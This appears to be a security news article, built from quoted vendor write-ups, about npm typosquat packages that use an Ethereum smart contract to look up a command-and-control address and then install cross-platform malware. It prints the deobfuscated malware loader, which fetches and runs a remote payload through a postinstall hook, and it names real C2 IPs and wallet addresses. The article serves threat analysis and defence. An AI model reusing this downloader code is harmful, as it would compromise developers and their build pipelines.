In an alarming twist for cybersecurity, threat actors have leveraged Ethereum smart contracts to execute a supply chain attack that distributes multi-platform malware across Windows, Linux, and macOS systems. This sophisticated tactic combines blockchain technology and traditional malware distribution, demonstrating a novel method of command-and-control (C2) that evades traditional defenses. Security teams must adapt quickly to address this growing threat, which shows how decentralized technology can be weaponized to support malicious operations.
How the Attack Unfolded
The attack primarily targeted the npm ecosystem, masquerading as a package called “jest-fet-mock.” It impersonated legitimate JavaScript testing utilities by employing typosquatting, using a slight misspelling to deceive developers into downloading the malicious package. Once downloaded, the malware accessed an Ethereum smart contract to retrieve its C2 server address, making it difficult to take down or block.
By using a decentralized C2 mechanism, the attackers were able to avoid detection and takedown efforts. Every new infection checked the Ethereum contract for updated C2 addresses, providing the attackers with flexibility to adjust their servers without modifying the malware.
Why This Attack Stands Out
What makes this attack particularly dangerous is its multi-platform nature and the use of blockchain for C2. The threat actors targeted development environments where the npm packages would be installed, thus potentially compromising Continuous Integration/Continuous Deployment (CI/CD) pipelines. Furthermore, the decentralized nature of Ethereum smart contracts makes it nearly impossible to disrupt the attackers’ communication infrastructure. This attack exemplifies a new direction in malware distribution—one that could reshape cybersecurity’s approach to supply chain protection.
Initial Execution
“The attack chain begins during the npm package installation process through the preinstall script. This script determines the host operating system and constructs a platform-specific URL to download the appropriate payload. The malware then spawns a detached process, ensuring the malicious code continues running independently of the installation process.
Multi-Platform Malware
Our analysis revealed distinct malware variants designed for:
Windows (SHA-256: df67a118cacf68ffe5610e8acddbe38db9fb702b473c941f4ea0320943ef32ba),
Linux (SHA-256: 0801b24d2708b3f6195c8156d3661c027d678f5be064906db4fefe74e1a74b17),
and macOS (SHA-256: 3f4445eaf22cf236b5aeff5a5c24bf6dbc4c25dc926239b8732b351b09698653).
Notably, as of this writing, none of these files have been flagged as malicious by any security vendors on VirusTotal.
The malware variants demonstrated various capabilities including system reconnaissance, credential theft, and establishing persistence through platform-specific mechanisms – using AutoStart files in Linux and Launch Agent configuration (~/Library/LaunchAgents/com.user.startup.plist) in macOS.
Throughout their operation, all variants maintain consistent communication with the attacker’s C2 server, showcasing a coordinated cross-platform attack strategy aimed at compromising development environments.” checkmarx
Overview
“We often see attackers begin campaigns with several test publications. This appears to be the case here as well, with the first package publication to npm titled daun124wdsa8
This package contained the following package.json
with a postinstall hook that executes the clzypp8j.js
file.
{
"name": "daun124wdsa8",
"version": "23.6.1",
"description": "A high-level API to control headless Chrome over the DevTools Protocol",
"keywords": [
"puppeteer",
"chrome",
"headless",
"automation"
],
...
"scripts": {
"postinstall": "node clzypp8j.js"
},
...
}
The attacker clearly intended to execute something during package installation. However, the file in question was not included in the package. An apparent oversight by the malicious package author.
They quickly followed up with two additional publications, zalfausi8
and zalf22ausi8
.
Both of these packages contained the following obfuscated Javascript, which was executed during package installation.
Walking through the deobfuscated code, we see the typical malware behaviors: constructing download URLs, fetching remote executables, and surreptitiously running them on the target machine.
What stands out is the fact that the IP address the executables are fetched from are nowhere to be found in the actual source. So how does the execution know where to send the request? Let’s take a look at the code in more detail.
const {ethers} = require("ethers");
const axios = require("axios");
const fs = require('fs');
const path = require('path');
const os = require('os');
const {spawn} = require('child_process');
const abi = ["function getString(address account) public view returns (string)"];
const provider = ethers.getDefaultProvider("mainnet");
const contract = new ethers.Contract('0xa1b40044EBc2794f207D45143Bd82a1B86156c6b', abi, provider);
const fetchAndUpdateIp = async () => {
try {
const ipAddrFromContract = await contract.getString("0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84");
return ipAddrFromContract;
} catch (error) {
// Russian for "Error getting IP address:"
console.error("Ошибка при получении IP адреса:", error);
return await fetchAndUpdateIp();
}
};
//... Clipped for brevity
This code interacts with an Ethereum smart contract using the ethers.js
library to fetch a string, in this case an IP address, associated with a specific contract address on the Ethereum mainnet. Let’s look at this line by line.
Define the ABI
const abi = ["function getString(address account) public view returns (string)"];
This line specifies the ABI (Application Binary Interface) for the getString
function in the smart contract. The ABI acts as a bridge, allowing JavaScript to understand and interact with the contract’s functions. Here, getString
is a view function that takes an Ethereum address as an argument and returns a string.
Set up the provider
const provider = ethers.getDefaultProvider("mainnet");
This sets up a provider connected to the Ethereum mainnet, enabling the code to communicate with the blockchain. The getDefaultProvider
function connects to a decentralized Ethereum node to facilitate read-only operations on the network.
Create a contract instance
const contract = new ethers.Contract('0xa1b40044EBc2794f207D45143Bd82a1B86156c6b', abi, provider);
Using the contract’s address (0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
), ABI, and provider, this line creates an instance of the contract, enabling interaction with it. This instance is crucial for calling the contract’s functions, such as getString
.
Define the asynchronous function fetchAndUpdateIp
const fetchAndUpdateIp = async () => { ... };
The fetchAndUpdateIp
function fetches the string (e.g., IP address) for the given ID (0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
). Here’s how it works:
const ipAddrFromContract = await contract.getString("0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84");
return ipAddrFromContract;
This line calls the getString
function on the contract, providing an Ethereum address as the argument. The function retrieves the associated string (such as an IP address) and returns it.
In this particular case, the following IP address is returned: http://193.233.201.21:3001
.
Attempting to access any non-existent files on this host, returns the following. The path botnet-server
feels particularly telling 💀.
An interesting thing about storing this data on the Ethereum blockchain is that Ethereum stores an immutable history of all values it has ever seen. Thus, we can see every IP address this threat actor has ever used.
- On
2024-09-23 00:55:23Z
it washttp://localhost:3001
- From
2024-09-24 06:18:11Z
it washttp://45.125.67.172:1228
- From
2024-10-21 05:01:35Z
it washttp://45.125.67.172:1337
- From
2024-10-22 14:54:23Z
it washttp://193.233.201.21:3001
- From
2024-10-26 17:44:23Z
it ishttp://194.53.54.188:3001
Putting It All Together
There are several additional functions used to construct the download URL. This ensures that a binary compatible with the given OS is retrieved from the remote server.
const getDownloadUrl = hostAddr => {
const platform = os.platform();
switch (platform) {
case 'win32':
return hostAddr + "/node-win.exe";
case "linux":
return hostAddr + "/node-linux";
case "darwin":
return hostAddr + "/node-macos";
default:
throw new Error("Unsupported platform: " + platform);
}
};
The malware author additionally creates a function for executing and running the malware in the background on the target machine.
const executeFileInBackground = async path => {
try {
const proc = spawn(path, [], {
'detached': true,
'stdio': "ignore"
});
proc.unref();
} catch (error) {
console.error("Ошибка при запуске файла:", error);
}
};
And finally, they define and execute a function that puts it all together and ultimately initiates execution.
onst runInstallation = async () => {
try {
const ipAddr = await fetchAndUpdateIp();
const downloadUrl = getDownloadUrl(ipAddr);
const tmpDir = os.tmpdir();
const filename = path.basename(downloadUrl);
const downloadPath = path.join(tmpDir, filename);
await downloadFile(downloadUrl, downloadPath);
if (os.platform() !== "win32") {
fs.chmodSync(downloadPath, "755");
}
executeFileInBackground(downloadPath);
} catch (error) {
console.error("Ошибка установки:", error);
}
};
runInstallation();
But What’s In The Binary?
At this point, the threat actor has execution on the victim machine. The payload has been fetched from the remote server and is now running in memory. But what is exactly running in this case?
The binary shipped to the machine is a packed Vercel package. It adds itself to start on login and updates its IP using the exact Ethereum contract/ID mechanism from above.
It performs a handful of requests to fetch additional Javascript files and then posts system information back to the same requesting server. This information includes information about the GPU, CPU, the amount of memory on the machine, username, and OS version.” Phylum.
“Technical Analysis#
Discovery and Initial Assessment
Our investigation began last week with the discovery of a suspicious package named “haski” (version 2.8.5) – a typosquat targeting husky, the popular git hooks library. This malicious package attempted to exploit husky’s reputation by mimicking its name while containing obfuscated malicious code linked to an Ethereum wallet address.
The malicious code was designed to execute automatically upon installation through a postinstall script defined in the package’s package.json
file. The postinstall
script is a lifecycle hook in npm that runs automatically after the package is installed. By leveraging this, the attackers ensure that their malicious code is executed without any additional action from the user.
This initial finding proved to be the tip of the iceberg.
Over the last twenty-four hours, our AI scanner detected a sudden wave of malware packages flooding the npm ecosystem, all exhibiting the same execution flow and identical blockchain-based characteristics. This onslaught suggests a carefully plotted attack, with the initial “haski” package potentially serving as a test run.
Further investigation revealed dozens of packages, all following a consistent pattern:
- Legitimate-looking package names and descriptions
- Similar obfuscation patterns using the
_0x
prefix - Identical code structure once deobfuscated
- Common Ethereum contract interactions using the same wallet address found in the initial “haski” typosquat
Upon deobfuscation, we confirmed these packages were part of a coordinated campaign, each containing a sophisticated multi-stage malware downloader using Ethereum smart contracts for C2 communication. The attack infrastructure was consistent across all packages, using the same Ethereum contract address and wallet for C2 communication.
Each of the more than one hundred malware packages was published by a distinct, fake maintainer likely auto-generated through a tool like Faker. These profiles use randomized usernames and plausible email addresses with common names and random digits, such as upj4cimrds1fo
with email address KarenCampbelljzm2902@gmail.com
.
Some notable patterns across the discovered packages include:
- Similar publication timestamps after the initial “haski” deployment, suggesting automated campaign expansion
- Consistent code obfuscation techniques
- Identical blockchain-based C2 mechanism
- Uniform cross-platform payload delivery methods
This evolution from a targeted typosquat of a popular package to a broader automated campaign demonstrates the threat actors’ shift toward more sophisticated and scalable attack methodologies.
Attack Architecture
The malware operates in three distinct stages:
“Blockchain-Based C2 Retrieval
const contractAddress = '0xa1b40044EBc2794f207D45143Bd82a1B86156c6b';
const WalletOwner = '0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84';
const abi = ['function getString(address account) public view returns (string)'];
The malware queries a specific Ethereum contract to retrieve the payload URL, making traditional C2 blocking ineffective.
Through dynamic analysis of the contract interactions, we developed a script to query the malicious smart contract directly:
const { ethers } = require("ethers");
const provider = ethers.getDefaultProvider("mainnet");
const abi = ["function getString(address account) public view returns (string)"];
const contract = new ethers.Contract("0xa1b40044eBc2794f2707d45143Bd82a1B86156c6b", abi, provider);
async function getUrl() {
try {
const address = ethers.utils.getAddress("0x522212c293a21DBCA7AFD01aC6bFAC7175D590A84");
const baseUrl = await contract.getString(address);
console.log("Base URL:", baseUrl);
} catch (error) {
console.error("Error:", error);
}
}
getUrl();
The contract query returned a C2 server address operating at http://45[.]125[.]67[.]172:1337
. The use of a non-standard port (1337), combined with blockchain-based command retrieval, indicates a deliberate effort to evade standard detection mechanisms and to create a resilient and hard-to-disrupt C2 infrastructure:
Key findings from the C2 analysis:
- Direct IP address usage instead of domain names
- Non-standard port implementation
- Contract-based address retrieval
Cross-Platform Payload Distribution
const getDownloadUrl = (baseUrl) => {
const platform = os.platform();
switch (platform) {
case 'win32':
return baseUrl + '/node-win.exe';
case 'linux':
return baseUrl + '/node-linux';
case 'darwin':
return baseUrl + '/node-macos';
}
};
The code demonstrates a targeted platform detection and targeted payload delivery for Windows, Linux, and MacOS systems.
Stealthy Execution
const executeFileInBackground = async (filepath) => {
const process = spawn(filepath, [], {
detached: true,
stdio: 'ignore'
});
process.unref();
};
The malware executes the downloaded payload with multiple stealth mechanisms:
- Uses system temp directory for payload storage
- Spawns detached processes
- Implements error handling for persistence
- Operates silently without user interaction
Crypto Address Workflow
The funding address 0x4E5B2e1dc63F6b91cb6Cd759936495434C7e972F
appears to have a history of involvement in several crypto scams and controversial campaigns, including an incident where approximately $26 million was reportedly drained from BTC and ETH wallets and a portion deposited into this address.
The flow begins with the address (0x4E5B2…), which enables anonymous transactions, passing funds to an intermediary address (0x46b0f9bA…) for further separation. The funds then reach the primary wallet (0x52221c2…), the main operational hub that frequently interacts with a suspicious contract (0xa1b400…), using the Set String
method to store or update data. This contract likely acts as a C2 node, allowing the attacker to maintain control over malware deployments securely and persistently through the blockchain. The transaction chain is carefully structured with low-value transactions to avoid detection, demonstrating a novel use of blockchain technology for decentralized and resilient C2 infrastructure.
Russian Language Used in the Malicious Code
During the analysis, the Socket Threat Research Team identified multiple instances of Russian language usage within the malicious packages codebase. The code contains error messages written in Russian, which are used in exception handling and logging.
console.error('Ошибка установки:', error);
Translation: “Installation error:”. This string is logged when an error occurs during the installation or execution of the downloaded file.
console.error('Ошибка при получении IP адреса:', error);
Translation: “Error retrieving IP address:”. This string is logged when there is an error while fetching data from the Ethereum smart contract.
The inclusion of Russian language elements in the malicious code suggests the attacker might be proficient in Russian, but this should be interpreted cautiously due to the possibility of deliberate misattribution or code reuse. Language usage is just one factor among many, and further analysis is necessary to conclusively determine the attacker’s identity and origin.
Impact and Implications
This attack vector is particularly concerning for several reasons:
- Resilient C2: Traditional domain blocking is ineffective against blockchain-based communication
- Cross-Platform: Targets all major operating systems
- Stealth: Intentional obfuscation and execution techniques
- Persistence: Error handling ensures payload delivery by persistently retrying data from the blockchain
Protect your Supply Chain with Socket#
The discovery of this blockchain-based malware campaign demonstrates the evolving sophistication of supply chain attacks in the npm ecosystem. Threat actors are now leveraging smart contracts for command and control, making traditional security measures ineffective. This campaign, spanning multiple packages like “ethsg-util”, “web3-toekn”, and “ethblk-tracker”, showcases how attackers can distribute advanced malware through seemingly legitimate packages.
Traditional code review and manual security checks are insufficient against these modern threats. The malware’s use of blockchain for C2, intentional obfuscation, and cross-platform payload delivery demands a more robust, automated approach to package security. Socket’s free GitHub app provides this crucial layer of protection by:
- Identifying obfuscated malicious code patterns
- Scanning install scripts for dangerous system operations
- Alerting developers instantly via GitHub comments before malicious code enters your supply chain
- Unauthorized network connections
- Cross-platform payload downloads
- System-level operations
Install Socket’s free GitHub app today and get immediate protection against advanced supply chain attacks.” socket
10 Strategies to Strengthen Defense Against Supply Chain Attacks
- Implement a Zero-Trust Architecture: By adopting a zero-trust approach, organizations can prevent unauthorized access to sensitive assets, reducing potential damage from compromised software.
- Use Cryptographic Code Signing: Ensure that all software packages are signed, and verify signatures before installation. This adds an additional layer of verification.
- Strengthen Package Management Policies: Only allow trusted and verified packages from official repositories to be used in development environments.
- Conduct Regular Software Composition Analysis (SCA): Automated SCA tools can help identify vulnerabilities or signs of tampering in open-source libraries and dependencies.
- Deploy Behavior Analytics: Use behavior-based detection for monitoring unexpected network communications, which could signal malware activity.
- Audit Smart Contract Interactions: If blockchain technologies are involved, regularly audit any interactions with smart contracts and investigate unusual or unauthorized transactions.
- Educate Development Teams: Train developers on secure package management practices and how to identify typosquatting attempts to reduce accidental malware installation.
- Limit Privileges in Development Environments: Restrict privileges in development and CI/CD environments to minimize the impact of a compromised package.
- Enable Real-Time Threat Intelligence: Use a threat intelligence platform that tracks emerging threats in open-source repositories and identifies indicators of compromise (IOCs) promptly.
- Deploy Endpoint Detection and Response (EDR): Multi-platform EDR solutions can help detect and contain malware on endpoints across various operating systems.
Conclusion
This Ethereum-based supply chain attack highlights the escalating sophistication in cyber tactics, blending decentralized blockchain technology with malware distribution to target developers and their environments. By masquerading as a legitimate npm package, the attackers introduced multi-platform malware with decentralized C2, underscoring the need for a more comprehensive approach to supply chain security.
This incident should serve as a wake-up call for organizations to strengthen their defenses and incorporate blockchain security as part of their overall cybersecurity posture.
Want to stay on top of cybersecurity news? Follow us on Facebook, X (Twitter), Instagram, and LinkedIn for the latest threats, insights, and updates!